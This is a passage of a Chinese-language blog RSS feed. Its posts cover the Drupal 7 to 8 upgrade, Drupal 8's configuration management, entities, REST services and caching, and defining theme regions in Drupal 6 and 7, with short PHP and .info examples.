&lt;p&gt;##好吧，那这段时间我该干什么？&lt;/p&gt;

&lt;p&gt;继续用Drupal 7。Drupal 7是一个稳定、成熟、健壮、强大的平台，并且在Drupal 8 LTS发布之前会持续得到Bug修复的支持，在Drupal 9的LTS出现之前（多年以后吧），会持续得到安全更新。而且很多Drupal 8功能现在在Drupal 7中也能找到：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;WYSIWYG&lt;/strong&gt;：CKEditor: &lt;a href=&#34;https://drupal.org/project/ckeditor&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/ckeditor&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;就地编辑&lt;/strong&gt;：Quick Edit: &lt;a href=&#34;https://drupal.org/project/quickedit&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/quickedit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应式工具栏&lt;/strong&gt;：Mobile Friendly Navigation Toolbar: &lt;a href=&#34;https://drupal.org/project/navbar&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/navbar&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应式前端主题&lt;/strong&gt;：Omega, Zen, Adaptive, Aurora等基主题&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应式管理主题&lt;/strong&gt;：Ember：&lt;a href=&#34;https://drupal.org/project/ember&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/ember&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应式图像&lt;/strong&gt;：Picture：&lt;a href=&#34;https://drupal.org/project/picture&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/picture&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应式表格&lt;/strong&gt;：Responsive Tables：&lt;a href=&#34;https://drupal.org/project/responsive_tables&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/responsive_tables&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;简化Overlay&lt;/strong&gt;：Escape Admin: &lt;a href=&#34;https://drupal.org/project/escape_admin&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/escape_admin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;多语言&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Internationalization: &lt;a href=&#34;https://drupal.org/project/i18n&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/i18n&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Entity Translation: &lt;a href=&#34;https://drupal.org/project/entity_translation&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/entity_translation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;(以及很多别的模块)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Block&lt;/strong&gt;：Bean：&lt;a href=&#34;https://drupal.org/project/bean&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/bean&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;配置管理&lt;/strong&gt;：Features: &lt;a href=&#34;https://drupal.org/project/features&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/features&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Web Service&lt;/strong&gt;：RESTful Web Services: &lt;a href=&#34;https://drupal.org/project/restws&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/restws&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##如何升级呢？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;站点的内容（用户，文章等）以及众多的配置项（变量，Block设置等），Drupal 8为D6（已经在核心中）和D7（正在开发）提供了&lt;a href=&#34;https://www.acquia.com/blog/d8migrate&#34; target=&#34;_blank&#34;&gt;升级方法&lt;/a&gt;来保障核心模块的升级（第三方模块需要编写自己的升级方法）。简单说来，你需要在搭建Drupal 8站点时，保持你的Drupal 6或7的站点的运行，然后运行一个类似现有update.php的脚本来进行内容迁移。如果验证通过，切换一下webroot，几乎无需停机就完成了。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;对于目前站点中使用的第三方模块，安装7.x版本的&lt;a href=&#34;https://drupal.org/project/upgrade_status&#34; target=&#34;_blank&#34;&gt;Upgrade Status&lt;/a&gt;模块，这个模块会显示各模块的站点以及D8升级状态。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;站点中的自实现模块，就需要自行升级了。&lt;a href=&#34;https://drupal.org/project/drupalmoduleupgrader&#34; target=&#34;_blank&#34;&gt;Drupal Module Upgrader&lt;/a&gt;项目能够协助你进行升级，并针对做出的变更出具报告。需要注意的是，这个项目还处于&lt;a href=&#34;https://www.drupal.org/node/2319353&#34; target=&#34;_blank&#34;&gt;非常活跃的开发状态&lt;/a&gt;中，以跟进更多的Drupal 8 API，这个项目也不是全知全能的，所以还需要手工修正一些内容。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;站点中的自定义主题，必须转换为Twig，可以试试&lt;a href=&#34;https://drupal.org/sandbox/forest/1965070&#34; target=&#34;_blank&#34;&gt;Twigifier&lt;/a&gt;项目，该项目尝试将这一步骤进行自动化处理。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以目前来说，你的升级过程主要取决于你目前站点的实际状况，总体看来，采用知名的第三方模块比自实现代码在升级上具有更大的优势。&lt;/p&gt;

&lt;p&gt;更多的关于Drupal 6/7升级到D8的信息，请阅读&lt;a href=&#34;https://www.acquia.com/blog/getting-your-site-ready-drupal-8&#34; target=&#34;_blank&#34;&gt;https://www.acquia.com/blog/getting-your-site-ready-drupal-8&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;##有什么我能帮忙的？&lt;/p&gt;

&lt;p&gt;想要Drupal 8快点来？来帮忙吧！&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;最直接的方式就是&lt;a href=&#34;https://drupal.org/project/issues/search/drupal?status[]=Open&amp;amp;priorities[]=400&amp;amp;categories[]=1&amp;amp;categories[]=2&amp;amp;version[]=8.x&amp;amp;issue_tags_op=%3D&#34; target=&#34;_blank&#34;&gt;协助修复严重问题&lt;/a&gt;，随时关注&lt;a href=&#34;https://groups.drupal.org/core/twidc&#34; target=&#34;_blank&#34;&gt;Drupal Core更新&lt;/a&gt;，这里总会提供最新的需要注意的消息。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果你刚开始接触Drupal核心开发，或参与到有用的事情中去，可以参加每周两次的&lt;a href=&#34;https://drupal.org/core-office-hours&#34; target=&#34;_blank&#34;&gt;core mentoring hours&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;想要协助Drupal 8的迁移工作？请加入&lt;a href=&#34;http://groups.drupal.org/imp&#34; target=&#34;_blank&#34;&gt;IMP (Migrate in core) team&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;想要参与Drupal 8的文档工作？请浏览&lt;a href=&#34;https://drupal.org/node/1005304&#34; target=&#34;_blank&#34;&gt;https://drupal.org/node/1005304&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;想要学习Drupal 8 API来帮助其他开发者？请帮忙把&lt;a href=&#34;https://drupal.org/project/examples&#34; target=&#34;_blank&#34;&gt;Examples for Developers&lt;/a&gt;移植到Drupal 8。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;希望为自己和其他开发者节省移植模块的时间？请参与编写&lt;a href=&#34;https://drupal.org/project/drupalmoduleupgrader&#34; target=&#34;_blank&#34;&gt;Drupal Module Upgrader&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##谢谢！&lt;/p&gt;

&lt;p&gt;请为&lt;a href=&#34;http://ericduran.github.io/drupalcores/&#34; target=&#34;_blank&#34;&gt;2300多个Drupal 8贡献者&lt;/a&gt;掌声！&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>第六部 全新的后台</title>
      <link>/post/drupal-new-console/</link>
      <pubDate>Fri, 26 Sep 2014 03:15:05 +0800</pubDate>
      <guid>/post/drupal-new-console/</guid>
      <description>&lt;p&gt;##全新的配置管理系统&lt;/p&gt;

&lt;p&gt;对建站人员和开发者来说，Drupal 8的最值得期待的变化就是配置管理系统。在Drupal 7和之前的版本中，内容和配置都保存在数据库里（甚至有的配置和内容会混在同一张表中），这使得不同环境间的站点迁移非常困难（例如开发环境到生产环境）。围绕这个难题，诞生了很多相关的技术，包括 &lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!system.api.php/function/hook_update_N/7&#34; target=&#34;_blank&#34;&gt;hook_update_N()&lt;/a&gt;, &lt;a href=&#34;https://drupal.org/project/features&#34; target=&#34;_blank&#34;&gt;Features module&lt;/a&gt;，还有更古老的方式——记录一套环境上的配置，然后去另一套环境上手工执行。然而，所有这些尝试都是做着同一个事情：想要规避一个残酷事实——Drupal核心没有很好的提供配置发布支持，直到Drupal 8的出现。&lt;/p&gt;

&lt;p&gt;在Drupal 8中，所有的配置都变了（包括标准的管理配置项目，例如站点名称之类；以及任何的&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Config%21Entity%21ConfigEntityInterface.php/interface/ConfigEntityInterface/8&#34; target=&#34;_blank&#34;&gt;ConfigEntity&lt;/a&gt;，这里包括Views，用户角色以及内容类型，都会通过统一的&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21modules%21system%21core.api.php/group/config_api/8&#34; target=&#34;_blank&#34;&gt;configuration API&lt;/a&gt;运行），每个环境都拥有一个&amp;rdquo;备用配置&amp;rdquo;和一个&amp;rdquo;激活配置&amp;rdquo;仓库，备用仓库一般保存的是从其他环境中导入的待审核配置，而激活配置保存的是目前站点运行过程中将要读取的配置。出于性能上的考虑，缺省情况下激活配置保存在数据库中的配置表中（和Drupal 7中的Variables表类似），当然，保存位置是可变更的。例如&lt;a href=&#34;https://www.drupal.org/project/config_devel&#34; target=&#34;_blank&#34;&gt;Configuration Development Module&lt;/a&gt;使用Drupal 8核心对待备选配置的方式来处理活动配置——将活动配置写入文件系统的YAML文件中。&lt;/p&gt;

&lt;p&gt;Drupal 8自带了一个基础的UI用于处理配置的导入和导出，并且配置还可以利用Drush的&lt;code&gt;config-*&lt;/code&gt;系列命令来进行操作，这些操作也可以支持后续的Git之类的版本管理操作。&lt;/p&gt;

&lt;p&gt;基础的配置变更流程如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/7f0626282f1d9d0ec3e8998a455ec5ef.png&#34; alt=&#34;configuration workflow&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;在开发环境中，导出激活配置，导出结果是一个包含很多YAML文件的tar压缩包。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在生产环境，导入这些文件，这些配置会出现在备选配置区域中。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在配置界面，现在可以看到一个列表，其中列出了发生变化的配置，并且可以进一步查看变更前后的差异。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果这些变更可以接受，用户可以选择进行同步，同步过程将会把生产环境中的备选配置替换掉当前的激活配置，Drupal就会使用新的配置提供服务了。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/4e33774b0c1772bbdf2f99dda97f4808.png&#34; alt=&#34;diff&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当然，还有一些配置是针对当前环境的，这些配置是不应该跨环境进行迁移的，一个例子就是Cron上次运行的时间。对于这种情况，有一组&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21modules%21system%21core.api.php/group/state_api/8&#34; target=&#34;_blank&#34;&gt;State API&lt;/a&gt;可以用来处理这种短期配置。&lt;/p&gt;

&lt;p&gt;##什么是内容发布&lt;/p&gt;

&lt;p&gt;Drupal 8没有对Node, User以及Taxonomy Terms之类的内容进行站点间迁移的支持（可能会在8.1或8.2中提供），不过一个进步是Drupal 8为每个内容都提供了UUID（全局唯一标识符）。UUID可以用于判断一个内容是否存在于目标站点，而不会去理会数字ID是否冲突，这大大的简化了内容的导入和导出。注意&lt;a href=&#34;https://www.drupal.org/project/deploy&#34; target=&#34;_blank&#34;&gt;Deploy modue&lt;/a&gt;的&lt;a href=&#34;https://www.drupal.org/node/2112799&#34; target=&#34;_blank&#34;&gt;Drupal 8版本&lt;/a&gt;。如果你还在Drupal 7，可以通过&lt;a href=&#34;http://drupal.org/project/uuid&#34; target=&#34;_blank&#34;&gt;UUID Module&lt;/a&gt;得到类似效果。&lt;/p&gt;

&lt;p&gt;##Entity，到处都是Entity&lt;/p&gt;

&lt;p&gt;Entity是Drupal 7中的一个新概念、新特性，他抽象了以前Node才有的添加字段的能力，把这一能力扩展到了Users，Taxonomy Terms等数据结构上。然而，Drupal 7的核心API非常有限，需要&lt;a href=&#34;https://www.drupal.org/project/entity&#34; target=&#34;_blank&#34;&gt;Entity API模块&lt;/a&gt;的辅助来完成一些基础工作，例如保存和删除。&lt;/p&gt;

&lt;p&gt;在Drupal 8中，Entity API进行了全面增强，不仅克服了Drupal 7版本的缺陷，还极大的增强了开发者的体验。所有的Entity现在都实现了&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Entity%21EntityInterface.php/interface/EntityInterface/8&#34; target=&#34;_blank&#34;&gt;EntityInterface&lt;/a&gt;这一接口（再也不用猜那100多个hook了），下面对比一下读取活动语言的代码：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
# Drupal 7 code.
$node-&amp;gt;title
$node-&amp;gt;body[$langcode][0][&#39;value&#39;]

# Drupal 8 code.
$node-&amp;gt;get(&#39;title&#39;)-&amp;gt;value
$node-&amp;gt;get(&#39;body&#39;)-&amp;gt;value
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;除了现在已有的Entity之外，几乎所有可以新建的东西都成了Entity，这极大的增强了Drupal开发过程的一致性。现有两种Entity：配置和内容Entity。他们有什么区别呢？&lt;/p&gt;

&lt;p&gt;###Content Entity&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;可以自定义字段&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;缺省存储于数据表中&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多数在前端创建&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;####举例&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Nodes&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Custom Blocks&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Users&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Comments&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Taxonomy 词汇&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Menu Links&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Aggregator Feeds/Items&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;###Config Entity&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;能够发布到不同的环境&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;存储在配置系统中&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多数在后端创建&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;####举例&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;内容类型&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;用户角色&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Views&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Taxonomy 词汇表&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;菜单&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;图形样式&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;相对于Drupa 7，内容Entity还提供了一些新的特性，例如不仅Node有版本，自定义Block也有了版本；所有的内容Entity都有了添加评论的能力（比如为评论添加评论）。&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-3-site-builder-improvements&#34; target=&#34;_blank&#34;&gt;Drupal 8的网站建设增强&lt;/a&gt;一节描述了更多的Entity相关特性。&lt;/p&gt;

&lt;p&gt;##&lt;code&gt;hook_schema()&lt;/code&gt;淡出？&lt;/p&gt;

&lt;p&gt;作为一个开发者，这对你有何意义么？这意味着，Drupal 8中，有了Entity API，还有Config/State API，几乎没有创建和管理自己的数据表的必要。使用这些标准API，不但可以少些代码，还让你易于迁移到其他种类的数据库，例如MongoDB。&lt;/p&gt;

&lt;p&gt;##Web Service&lt;/p&gt;

&lt;p&gt;Drupal 8的主要目标，不仅仅在于创建Drupal为后端的移动应用，还在于促进站点间的通信能力以及同第三方资源的整合能力，有鉴于此，Drupal 8从&lt;a href=&#34;https://drupal.org/documentation/modules/rest&#34; target=&#34;_blank&#34;&gt;RESTful web services&lt;/a&gt;模块里吸收代码，内建于核心之中，提供本地的REST API。这样就可以配置什么Entity(Node, Tarxonomy, Users)可以允许什么样的HTTP操作(GET, POST, PATCH, DELETE..)，进行这些操作需要什么样的认证。&lt;a href=&#34;https://www.drupal.org/project/restui&#34; target=&#34;_blank&#34;&gt;REST UI模块&lt;/a&gt;提供了进行这些配置的界面。这样，对于这些被允许的HTTP方法，用户还可以设置什么角色才可以利用这些方法访问对应的资源——例如让匿名用户可以GET，但是只有管理员才可以POST。&lt;/p&gt;

&lt;p&gt;在RESTful Web Service模块配置之后，可以从站点内容中获取一大堆的机读数据，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;...
   [title] =&amp;gt; Array
    (
        [0] =&amp;gt; Array
            (
                [value] =&amp;gt; Hello, world!
                [lang] =&amp;gt; en
            )

    )
...
[body] =&amp;gt; Array
    (
        [0] =&amp;gt; Array
            (
                [value] =&amp;gt; &amp;lt;p&amp;gt;This is my &amp;lt;strong&amp;gt;awesome&amp;lt;/strong&amp;gt; article.&amp;lt;/p&amp;gt;
                [format] =&amp;gt; basic_html
                [summary] =&amp;gt;
            )

    )
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这有很多好处，下面是一个Drupal 8的例子，获取JSON格式的数据，并再一个&lt;a href=&#34;https://github.com/webchickenator/d8ws&#34; target=&#34;_blank&#34;&gt;独立的jQuery Mobile应用&lt;/a&gt;中展示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/433d3a7e6f0bddde2c1d2d89d8d2b0b5.png&#34; alt=&#34;jQuery Mobile App&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Drupal 8还打包了一个叫做&lt;a href=&#34;http://guzzle.readthedocs.org/en/latest/&#34; target=&#34;_blank&#34;&gt;Guzzle&lt;/a&gt;的库，他实现了&lt;a href=&#34;https://gist.github.com/webchickenator/e1900c641ffc6dac6cfc&#34; target=&#34;_blank&#34;&gt;简单的语法&lt;/a&gt;，用来获取和提交数据，或者同Twitter或者Github之类的第三房服务进行通信。&lt;/p&gt;

&lt;p&gt;最后一个Drupal 8 Web Service特性就是&amp;rdquo;REST 导出&amp;rdquo;功能，他会在任何View中显示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/c46d108c79d715d116e33173b786f20d.png&#34; alt=&#34;REST Export&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##增强的缓存&lt;/p&gt;

&lt;p&gt;让人高兴地是，Drupal 8的缓存进行了全面的增强。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/entitycache&#34; target=&#34;_blank&#34;&gt;Entity缓存&lt;/a&gt;进入核心。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/node/1884800&#34; target=&#34;_blank&#34;&gt;缓存标签&lt;/a&gt;：在站点内容或配置发生变化时候，允许更细致的缓存清空操作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;所有的缓存特性，例如CSS/JS聚合等在缺省状态就会打开，让&lt;a href=&#34;http://wimleers.com/article/performance-calendar-2013-making-the-entire-web-fast&#34; target=&#34;_blank&#34;&gt;Drupal 8的缺省配置&lt;/a&gt;就能够快速运行&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们还在努力的&lt;a href=&#34;https://www.drupal.org/node/1744302&#34; target=&#34;_blank&#34;&gt;增强Drupal 8的性能&lt;/a&gt;，这些新增的缓存特性，会加速绝大多数的页面的载入过程。&lt;/p&gt;

&lt;p&gt;##小结&lt;/p&gt;

&lt;p&gt;本文对Drupal 8的代码变化做了一些说明，下一次，将会对主要的API变化，以及这些变化的影响做更加深入的讲解。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>为区域指派内容</title>
      <link>/post/assign-content-for-regions/</link>
      <pubDate>Mon, 07 Jul 2014 09:29:20 +0800</pubDate>
      <guid>/post/assign-content-for-regions/</guid>
      <description>&lt;p&gt;如果没有定义，Drupal 6中会做如下假设：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;regions[left] = Left sidebar
regions[right] = Right sidebar
regions[content] = Content
regions[header] = Header
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;而在Drupal 7中增加了Highligted和Help作为缺省区域。Help区域的文字内容默认和Drupal 6中的page.tpl.php$help变量一致。侧边栏的机读名称也发生了变化。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;regions[sidebar_first] = Left sidebar
regions[sidebar_second] = Right sidebar
regions[content] = Content
regions[header] = Header
regions[footer] = Footer
regions[highlighted] = Highlighted
regions[help] = Help
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Drupal 7的bartik主题设置了如下的默认区域：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;regions[header] = Header
regions[help] = Help
regions[page_top] = Page top
regions[page_bottom] = Page bottom
regions[highlighted] = Highlighted
regions[featured] = Featured
regions[content] = Content
regions[sidebar_first] = Sidebar first
regions[sidebar_second] = Sidebar second
regions[triptych_first] = Triptych first
regions[triptych_middle] = Triptych middle
regions[triptych_last] = Triptych last
regions[footer_firstcolumn] = Footer first column
regions[footer_secondcolumn] = Footer second column
regions[footer_thirdcolumn] = Footer third column
regions[footer_fourthcolumn] = Footer fourth column
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;记住内部名称在page.tpl.php中会转换为区域变量。在上面的例子中，[header]区会以变量的形式输出指派到这一区域的所有内容，在Drupal 6中是$header，在Drupal 7中是$page[&amp;lsquo;header&amp;rsquo;]。对于&lt;a href=&#34;http://us3.php.net/variables&#34; target=&#34;_blank&#34;&gt;PHP变量&lt;/a&gt;的命名有一些限制，所以区域的机读名称也应该遵循同样地规定。基本上区域的内部名称只能包含数字、字母和下划线，且必须以字母开头。&lt;/p&gt;

&lt;p&gt;而方括号之外供人阅读的名称用于在Administer &amp;gt; Site building &amp;gt; Blocks的配置页面中作为标签显示，在Drupal 7中这一路径为Administration &amp;gt; Structure &amp;gt; Blocks。&lt;/p&gt;

&lt;p&gt;下图是Garland中的块管理表格：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/block_config_garland.png&#34; alt=&#34;administration table&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Batrick中的块管理界面&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/block_config_batrick.png&#34; alt=&#34;batrick&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意事项：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;有专门用于渲染Block的&lt;a href=&#34;https://www.drupal.org/node/190815#block-tpl&#34; target=&#34;_blank&#34;&gt;模板文件&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;新增任何自定义区域，都会使缺省区域失效。如果你想要在自定义区域之外还继续使用原有区域，需要手工添加。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;区域的定义顺序会反应到配置页面。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;info文件的内容是缓存在数据库中的，所以对它的修改不会反应到Drupal中。(不要把info文件和&lt;a href=&#34;https://www.drupal.org/node/173880#theme-registry&#34; target=&#34;_blank&#34;&gt;主题注册表&lt;/a&gt;弄混了)。可以&lt;a href=&#34;http://drupal.org/node/337176&#34; target=&#34;_blank&#34;&gt;清理主题缓存&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;更新备注：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;$footer_message区域在Drupal 7中已经被移除。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;$content区域&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Drupal 6和之前，page.tpl.php的$content变量的内容需要添加到Block里，&lt;strong&gt;并把Block放置在内容区域中&lt;/strong&gt;（如果你定义了这个区域的话）。&lt;/p&gt;

&lt;p&gt;在Drupal 7中，$content成为一个完整的区域，而且是主题中必须定义的内容。这一变化使得Drupal能在任何新主题中识别出放置主要页面内容的缺省区域。&lt;/p&gt;

&lt;p&gt;在Drupal 6中，只能把Block添加这一区域中。要把block放倒主页内容之前，只能定义一个特别的区域。Drupal 7把主页内容做成了自己的Block。这样一来，无需新建新的区域，都可以把Block放置在内容前或是后都了。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;手工为区域指定内容&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;注意，在&lt;a href=&#34;https://www.drupal.org/node/713462&#34; target=&#34;_blank&#34;&gt;#713462: drupal_add_region_content() not usable&lt;/a&gt;解决之前，Drupal 7和8都无法使用drupal_add_region_content，除非应用连接中的补丁。&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;要手工指定内容到某个区域，Drupal 6中可以使用&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--common.inc/function/drupal_set_content/6&#34; target=&#34;_blank&#34;&gt;drupal_set_content&lt;/a&gt;，Drupal 7中可以使用&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--common.inc/function/drupal_add_region_content/7&#34; target=&#34;_blank&#34;&gt;drupal_add_region_content&lt;/a&gt;，例如在Drupal 6中可以通过&lt;code&gt;drupal_set_content(&#39;header&#39;, &#39;Welcome!&#39;)&lt;/code&gt;把这段文字添加到header区域中。&lt;/p&gt;

&lt;p&gt;还有一个更有用的例子：把所有注释汇总到&amp;rdquo;right&amp;rdquo;区域中，把drop前缀换成你的主题机读名称即可。&lt;a href=&#34;https://www.drupal.org/node/223430&#34; target=&#34;_blank&#34;&gt;preprocessors is available&lt;/a&gt;提供了更多信息。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
function drop_preprocess_comment(&amp;amp;$variables) {
    // Setup a few variables.
    $comment = $variables[&#39;comment&#39;];
    $title = l(
    $comment-&amp;gt;subject,
    comment_node_url(),
    array(&#39;fragment&#39; =&amp;gt; &amp;quot;comment-$comment-&amp;gt;cid&amp;quot;)
    );
    $new_marker = $comment-&amp;gt;new ? t(&#39;new&#39;) : &#39;&#39;;
    $by_line = t(&#39;by&#39;) .&#39; &#39;. theme(&#39;username&#39;, $comment);
    // Form the markup.
    $summary = &#39;&amp;lt;div class=&amp;quot;comment-sidebar&amp;quot;&amp;gt;&#39;;
    $summary .= &#39;&amp;lt;span class=&amp;quot;title&amp;quot;&amp;gt;&#39; . &amp;quot;$title $new_marker&amp;lt;/span&amp;gt;&amp;quot;;
    $summary .= &#39;&amp;lt;span class=&amp;quot;credit&amp;quot;&amp;gt;&#39; . &amp;quot;$by_line&amp;lt;/span&amp;gt;&amp;quot;;
    $summary .= &#39;&amp;lt;/div&amp;gt;&#39;;
    // Set the comment into the right region.
    drupal_set_content(&#39;right&#39;, $summary);
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意用这个方法设置内容会比block区域的读取要早，这一功能是通过&lt;a href=&#34;http://api.drupal.org/api/function/template_preprocess_page/6&#34; target=&#34;_blank&#34;&gt;template_preprocess_page&lt;/a&gt; &amp;gt; &lt;a href=&#34;http://api.drupal.org/api/function/theme_blocks/6&#34; target=&#34;_blank&#34;&gt;theme_blocks&lt;/a&gt; &amp;gt; &lt;a href=&#34;http://api.drupal.org/api/function/drupal_get_content/6&#34; target=&#34;_blank&#34;&gt;drupal_get_content&lt;/a&gt;来实现的。&lt;/p&gt;
</description>
    </item>
    
    <item>
